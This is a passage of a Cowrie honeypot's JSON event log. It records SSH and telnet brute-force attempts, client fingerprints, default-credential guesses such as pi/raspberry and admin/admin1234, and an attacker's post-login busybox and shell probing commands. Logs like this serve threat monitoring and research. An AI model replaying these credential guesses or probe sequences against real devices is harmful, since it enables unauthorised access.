{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45466,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b4665272ea","protocol":"telnet","message":"New connection: 176.65.139.118:45466 (159.203.135.109:23) [session: 16b4665272ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:15.868378Z"}
{"eventid":"cowrie.session.closed","duration":44.2742121219635,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:21.205403Z","src_ip":"152.42.224.71","session":"1372693ea69c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:22.868099Z","src_ip":"176.65.139.118","session":"16b4665272ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.605038166046143,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:25.473287Z","src_ip":"176.65.139.118","session":"16b4665272ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":59240,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ec60bd410c","protocol":"telnet","message":"New connection: 176.65.139.118:59240 (159.203.135.109:23) [session: e9ec60bd410c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:25.635483Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.26.188.219","src_port":16768,"dst_ip":"10.17.0.5","dst_port":22,"session":"278e48238f70","protocol":"ssh","message":"New connection: 200.26.188.219:16768 (10.17.0.5:22) [session: 278e48238f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:27.012879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:27.020693Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:27.157352Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:1b:46:f7:33:67:c7:3c:d5:00:d0:d9:dc:db:88:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVcqR41NMDAKsr6AH+pFWkVFFXvL94SB56cSBmwKV9Zr3Q31uuaqL8zEkSKxY29eDfIIIHegOmdmqpDvIy5OFP4swMCymBAWtcBFn/+6Tm4NbgjlHbnyvURl2xbHSCIJomutiDyuZgzkCrnA6P3lj00JZOQ+WxAIZww1eGlfuC2KVxvUAcGQ3TGaI5VbK4lZEXTpb9sAL7BYj3XKqRl+VAZ+e8hMWylgtxG/IH7fQQ7XizDHhH97yqwAFJ/vZLjDac8Rc/W+jQ/AmD9Gl8woB2E+H0qRAhPIBVv/uQRk38fPYtj04G73x2EAjhs+CM8dOqqFRfZy1BEjVHdC/0e9wl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:1b:46:f7:33:67:c7:3c:d5:00:d0:d9:dc:db:88:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:27.804804Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:1b:46:f7:33:67:c7:3c:d5:00:d0:d9:dc:db:88:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVcqR41NMDAKsr6AH+pFWkVFFXvL94SB56cSBmwKV9Zr3Q31uuaqL8zEkSKxY29eDfIIIHegOmdmqpDvIy5OFP4swMCymBAWtcBFn/+6Tm4NbgjlHbnyvURl2xbHSCIJomutiDyuZgzkCrnA6P3lj00JZOQ+WxAIZww1eGlfuC2KVxvUAcGQ3TGaI5VbK4lZEXTpb9sAL7BYj3XKqRl+VAZ+e8hMWylgtxG/IH7fQQ7XizDHhH97yqwAFJ/vZLjDac8Rc/W+jQ/AmD9Gl8woB2E+H0qRAhPIBVv/uQRk38fPYtj04G73x2EAjhs+CM8dOqqFRfZy1BEjVHdC/0e9wl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:27.808925Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:e4:07:d2:eb:4f:e0:b0:2f:53:96:81:e9:c2:03:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbqN5aiuK4N4PbC6F9jo1Un7rt1q/RnY1u+ZWAzcfEEMjuCGnHGLjp7LLIc+R7cX7bniB749kjBqfl3GF+aVuvzN6sRI/OO1hLz/wb+X4UceLbPJgIYJfvHpZuihF4NPuQZ9QFezGXAehABqW52qcjiHt20n/I9iVGNy4NG689hw0JAy0PuZNv2aD62hqN0Mg+zzwcG4tzxOYT+V8ewkBHJPNvOHgBXr9dJ5aFURzUPDyGwNUDsEPPnXyxXvWaXiyRwi+fOLi7U9HHFk0wvX8V2OVY1UsW/sodVGrK+52idR7lkNSxxexpx8jOPtfc45ufw6VCUi84M6g8S5T86SwxkDe2i8lWPV2jT83/rXcpzplMrVwteciOlVC+L4h9lgakaN6KsJ5i6oKLFLYmyH/dcL+hiCaTlg6YpCFqyJKOtUBvkrYkP+kNWBl+EuPVz54W88lWZGiB4TQ62hjOey7WCWitp5GJW588A3E5XrOIHNp2wzrM15xPkmGuH4lSQsIm+5nva9LakPW0FQiisETGfipKaxI+NfNjXlMK9/TOiOP4IryIYfC5m/lI+lMkq46XtxzxZSTpt3K4OxplBQ6TsYWpzHWITVCaEswHzaq0SSYx1BsdVCD+V9rkvce9vp5cT17ENuIJDktUWaR41doXk+ZQA8B4sd4F6FDQuwjh4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:e4:07:d2:eb:4f:e0:b0:2f:53:96:81:e9:c2:03:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:27.956249Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:e4:07:d2:eb:4f:e0:b0:2f:53:96:81:e9:c2:03:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbqN5aiuK4N4PbC6F9jo1Un7rt1q/RnY1u+ZWAzcfEEMjuCGnHGLjp7LLIc+R7cX7bniB749kjBqfl3GF+aVuvzN6sRI/OO1hLz/wb+X4UceLbPJgIYJfvHpZuihF4NPuQZ9QFezGXAehABqW52qcjiHt20n/I9iVGNy4NG689hw0JAy0PuZNv2aD62hqN0Mg+zzwcG4tzxOYT+V8ewkBHJPNvOHgBXr9dJ5aFURzUPDyGwNUDsEPPnXyxXvWaXiyRwi+fOLi7U9HHFk0wvX8V2OVY1UsW/sodVGrK+52idR7lkNSxxexpx8jOPtfc45ufw6VCUi84M6g8S5T86SwxkDe2i8lWPV2jT83/rXcpzplMrVwteciOlVC+L4h9lgakaN6KsJ5i6oKLFLYmyH/dcL+hiCaTlg6YpCFqyJKOtUBvkrYkP+kNWBl+EuPVz54W88lWZGiB4TQ62hjOey7WCWitp5GJW588A3E5XrOIHNp2wzrM15xPkmGuH4lSQsIm+5nva9LakPW0FQiisETGfipKaxI+NfNjXlMK9/TOiOP4IryIYfC5m/lI+lMkq46XtxzxZSTpt3K4OxplBQ6TsYWpzHWITVCaEswHzaq0SSYx1BsdVCD+V9rkvce9vp5cT17ENuIJDktUWaR41doXk+ZQA8B4sd4F6FDQuwjh4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:27.960808Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:ab:81:73:32:25:b4:9e:dd:82:f6:61:d1:e2:e5:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDp2AGU2Km6vBmcb5GloPbhQhWlp85x9ix6T1JnENZ55H1qMXcxMV6jKrc8/q9kJxxmdM5X2kItUfCXiWKReMiU4Xj2U9NvfWs8zagYRlxc3ljpY2YruAAuemFUOPunxtDG0MTvF0WA/9xtCGWaHwqGxTqkkBvlUqqJJOxjSfQqvQxOBomyfaJ1VhAqoK+Q8M0CI7typ21nlFpYBuizu59tN31A07ZfvrB+UkvjY1wZpWmPXIU1YWAnIgRzILuQ/7G4OsdIWWMAabmbEj+YXvXq/Zub/sCFqKU6h/lrMo/edkotMt4d2GxQdh6iu/jmE/qtnLPnkKCeTjM7H5zct/tV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:ab:81:73:32:25:b4:9e:dd:82:f6:61:d1:e2:e5:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:28.095851Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:ab:81:73:32:25:b4:9e:dd:82:f6:61:d1:e2:e5:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDp2AGU2Km6vBmcb5GloPbhQhWlp85x9ix6T1JnENZ55H1qMXcxMV6jKrc8/q9kJxxmdM5X2kItUfCXiWKReMiU4Xj2U9NvfWs8zagYRlxc3ljpY2YruAAuemFUOPunxtDG0MTvF0WA/9xtCGWaHwqGxTqkkBvlUqqJJOxjSfQqvQxOBomyfaJ1VhAqoK+Q8M0CI7typ21nlFpYBuizu59tN31A07ZfvrB+UkvjY1wZpWmPXIU1YWAnIgRzILuQ/7G4OsdIWWMAabmbEj+YXvXq/Zub/sCFqKU6h/lrMo/edkotMt4d2GxQdh6iu/jmE/qtnLPnkKCeTjM7H5zct/tV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:28.100819Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:39:ad:6e:fe:57:22:74:c5:1e:ca:e7:fe:f0:1d:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCubZkUAFb5sfVrHyJQCUHYjowhbME+rltwgKHUhIlgzWP6WwtpmPPckahwHKBv9fkIAQgWWbeB6RMx01CuoLhd2IUFbnh5wypRYVqYTow3ZEl0+MBM7eo661numOZ7iZTxOTfZEUa9dtSkwpRPqmnEOTvZl+qwuJQFdZxGes+cpycqPdN51lN9eJtVUQe97KDR1wRL191RK2YkA9ulnbQESsOkj70RnqNpuWP7ffqgqgAYJav3MOSgWnMsyVy7eWYwqJCJRNlSFcnqpwRItSqilSYe9+PGfOd6vkmOSg3aEOJc16vnoLTtX1POmnzCTY/PqIuGoOZ6nuxLE5l7333Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:39:ad:6e:fe:57:22:74:c5:1e:ca:e7:fe:f0:1d:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:28.237099Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:39:ad:6e:fe:57:22:74:c5:1e:ca:e7:fe:f0:1d:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCubZkUAFb5sfVrHyJQCUHYjowhbME+rltwgKHUhIlgzWP6WwtpmPPckahwHKBv9fkIAQgWWbeB6RMx01CuoLhd2IUFbnh5wypRYVqYTow3ZEl0+MBM7eo661numOZ7iZTxOTfZEUa9dtSkwpRPqmnEOTvZl+qwuJQFdZxGes+cpycqPdN51lN9eJtVUQe97KDR1wRL191RK2YkA9ulnbQESsOkj70RnqNpuWP7ffqgqgAYJav3MOSgWnMsyVy7eWYwqJCJRNlSFcnqpwRItSqilSYe9+PGfOd6vkmOSg3aEOJc16vnoLTtX1POmnzCTY/PqIuGoOZ6nuxLE5l7333Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:28.244362Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:97:a3:3c:be:e4:af:db:fb:89:bd:cc:72:36:51:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHh79RFhyBlP2Xshybd30AUO9Pyd47BypDJBqhkW4JEnnuRpiRMKA1GWiQ9lgRWxa1hePBmL3D2wmC4ARBfCtLFrBToBFs8FtoDI01AbnJu26/KyHdHQLgzGG9TowlXXcmc6MtsG9ToQ8xBYxMRB4O8bBvoIpS27WprrwOqWBYzeahYYSuQWyl5t3e9s8L+w5tKcRsupH+fvFccPxvVmqTdvDJUEAGaJl8HpeXyQkrdPuEW1QUFwCfkly4eSIZ/mRqO4CdX4Vcu+NYe4SMEoXi/zshUNIfeh6VTHhCtV5+vm4IhsPig/hTs0fRCrSbT9ucTd0tfKx1KUzXxA3/+1JcOBzqM1QKesX5MrSf5Vmu6oKvQPDFO5YvIqp+wjH0yykgjf7XGman7fmtadCb2JS2TORNATSagzBZQiHqZ8Cl6eNBGST0qjJ/Li9fGR/U087HelCXnlx6meSCjLMAMjeiU14nxbJNfWhN207kXBh7RmN21JofrNZeb5xO8snwXC7Tr+mh74XI6+4zCjJh20mbNdZGLQ+xUduwhcQlmmB0b/HhVKCBD/87rILfQGoFaDu9dLUVjtJwObMUvNPnqj97g/udObc7EzNAZDHLBWdaj6jM6hvKCwSJRRL3FLjLHWtFJlVhk+UQr2uicsPVs3u9UM/fn8MyiWiN/LXlqoyNjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:97:a3:3c:be:e4:af:db:fb:89:bd:cc:72:36:51:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:28.383310Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:97:a3:3c:be:e4:af:db:fb:89:bd:cc:72:36:51:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHh79RFhyBlP2Xshybd30AUO9Pyd47BypDJBqhkW4JEnnuRpiRMKA1GWiQ9lgRWxa1hePBmL3D2wmC4ARBfCtLFrBToBFs8FtoDI01AbnJu26/KyHdHQLgzGG9TowlXXcmc6MtsG9ToQ8xBYxMRB4O8bBvoIpS27WprrwOqWBYzeahYYSuQWyl5t3e9s8L+w5tKcRsupH+fvFccPxvVmqTdvDJUEAGaJl8HpeXyQkrdPuEW1QUFwCfkly4eSIZ/mRqO4CdX4Vcu+NYe4SMEoXi/zshUNIfeh6VTHhCtV5+vm4IhsPig/hTs0fRCrSbT9ucTd0tfKx1KUzXxA3/+1JcOBzqM1QKesX5MrSf5Vmu6oKvQPDFO5YvIqp+wjH0yykgjf7XGman7fmtadCb2JS2TORNATSagzBZQiHqZ8Cl6eNBGST0qjJ/Li9fGR/U087HelCXnlx6meSCjLMAMjeiU14nxbJNfWhN207kXBh7RmN21JofrNZeb5xO8snwXC7Tr+mh74XI6+4zCjJh20mbNdZGLQ+xUduwhcQlmmB0b/HhVKCBD/87rILfQGoFaDu9dLUVjtJwObMUvNPnqj97g/udObc7EzNAZDHLBWdaj6jM6hvKCwSJRRL3FLjLHWtFJlVhk+UQr2uicsPVs3u9UM/fn8MyiWiN/LXlqoyNjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:28.389608Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:28.531368Z","src_ip":"200.26.188.219","session":"278e48238f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:32.165003Z","src_ip":"176.65.139.118","session":"e9ec60bd410c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.673565864562988,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:34.308904Z","src_ip":"176.65.139.118","session":"e9ec60bd410c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":48150,"dst_ip":"159.203.135.109","dst_port":23,"session":"87fc9e3f32e5","protocol":"telnet","message":"New connection: 176.65.139.118:48150 (159.203.135.109:23) [session: 87fc9e3f32e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:34.508777Z"}
{"eventid":"cowrie.session.closed","duration":57.95472073554993,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:34.604542Z","src_ip":"152.42.224.71","session":"00e6411a130e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.905024766921997,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:38.413561Z","src_ip":"176.65.139.118","session":"87fc9e3f32e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":40566,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6414f0b6623","protocol":"telnet","message":"New connection: 176.65.139.118:40566 (159.203.135.109:23) [session: d6414f0b6623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:38.535718Z"}
{"eventid":"cowrie.session.closed","duration":2.3869540691375732,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:40.922561Z","src_ip":"176.65.139.118","session":"d6414f0b6623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":46004,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a5c27922977","protocol":"telnet","message":"New connection: 176.65.139.118:46004 (159.203.135.109:23) [session: 0a5c27922977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:41.127819Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60162,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c24a077245","protocol":"telnet","message":"New connection: 152.42.224.71:60162 (10.17.0.5:23) [session: 61c24a077245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:46.566190Z"}
{"eventid":"cowrie.session.closed","duration":6.072107315063477,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:47.199790Z","src_ip":"176.65.139.118","session":"0a5c27922977","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54396,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd1f923ae8c","protocol":"telnet","message":"New connection: 176.65.139.118:54396 (159.203.135.109:23) [session: 4cd1f923ae8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:47.310641Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:50.067129Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:50.116755Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:51.690734Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:52.202505Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:52.802188Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:53.402161Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:53.406002Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"5.1","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:55.232568Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.936126470565796,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:55.246493Z","src_ip":"176.65.139.118","session":"4cd1f923ae8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55192,"dst_ip":"159.203.135.109","dst_port":22,"session":"f621014c09f3","protocol":"ssh","message":"New connection: 147.45.199.80:55192 (159.203.135.109:22) [session: f621014c09f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:01.349303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:01.354628Z","src_ip":"147.45.199.80","session":"f621014c09f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 